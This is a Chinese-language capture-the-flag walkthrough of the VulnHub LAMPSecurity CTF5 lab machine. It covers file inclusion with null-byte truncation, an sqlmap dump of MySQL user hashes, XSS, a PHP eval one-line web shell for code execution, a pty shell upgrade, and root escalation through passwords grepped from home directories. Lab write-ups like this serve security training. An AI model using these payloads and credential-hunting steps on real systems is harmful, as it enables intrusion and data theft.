AMPSecurity: CTF5
项目地址:https://download.vulnhub.com/lampsecurity/ctf5.zip
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

访问 80 端口页面

敏感信息泄露
/Info.php

给参数加单引号报文件包含错误,把参数值当成文件去读取

NanoCMS pagesdata.txt
GitHub 找到源码发现有一个文件泄露了密码
通过 Web 端访问

弱口令
Phake Organization Event Manager
利用上面脱库跑出来的密码登录
1 | patrick:password |
phpMyAdmin
phpMyAdmin 默认使用的是 mysql 库中的 user 表
1 | sqlmap -u "http://192.168.202.146/list/" --data="name=aaa&email=bbb&phone=ccc&org=ddd" -D mysql -T user --dump |
撞出密码(cmd5 需要收费)
成功登录后台(后续打 Nday 即可)
NanoCMS
根据上面泄露的信息撞出密码 admin/shannon 登录后台
任意文件读取
Phake Organization
读取 /etc/passwd 文件发现在后面拼接了 .php

加个 %00 截断后面拼接的 .php

扫描后台扫处这个路径 /list/,输入数据进行测试

XSS
Register with Phake Organization(三个反射)
发现给 name 参数插入单引号后回显 SQL 语法错误,但是也把其他参数的值也回显了出来,所以存在反射型 XSS 漏洞


NanoCMS Admin Panel Content Areas(四个存储)





NanoCMS Admin Panel Page & Options(三个存储)
Home 和 Connect 都存在漏洞


最上方的添加分类也存在存储型 XSS

Even Mangement | Phake Organization Event Manager (三个存储)


SQL 注入
Register with Phake Organization(四个)
四个参数都可以注入


RCE
NanoCMS Admin Panel New Page
在内容中写上一句话木马
1 | @eval($_POST["code"]) |

页面回显中告诉了我们路径在 pages/ 中(如果错过了也没事,我们有源码)


NanoCMS Admin Panel showareas(四个)
四个框都可以执行 PHP 代码

回显如下

Even Mangement | Phake Organization Event Manager(三个)
同样在发表博客处,选择类型为 PHP 代码

发表博客后访问

使用蚁剑连接

这三个地方都可以

Phake Organization Event Manager Preview comment
回复也可以 RCE


提权
Python 升级为交互式 Shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |

敏感信息泄露提权
1 | grep -R -i password /home/* 2> /dev/null |

拿到密码 50$cent 后执行 su root 提权成功

补充说明
本靶机 phpMyAdmin 可以直接打 Nday,所以不会记录,NanoCMS 并没有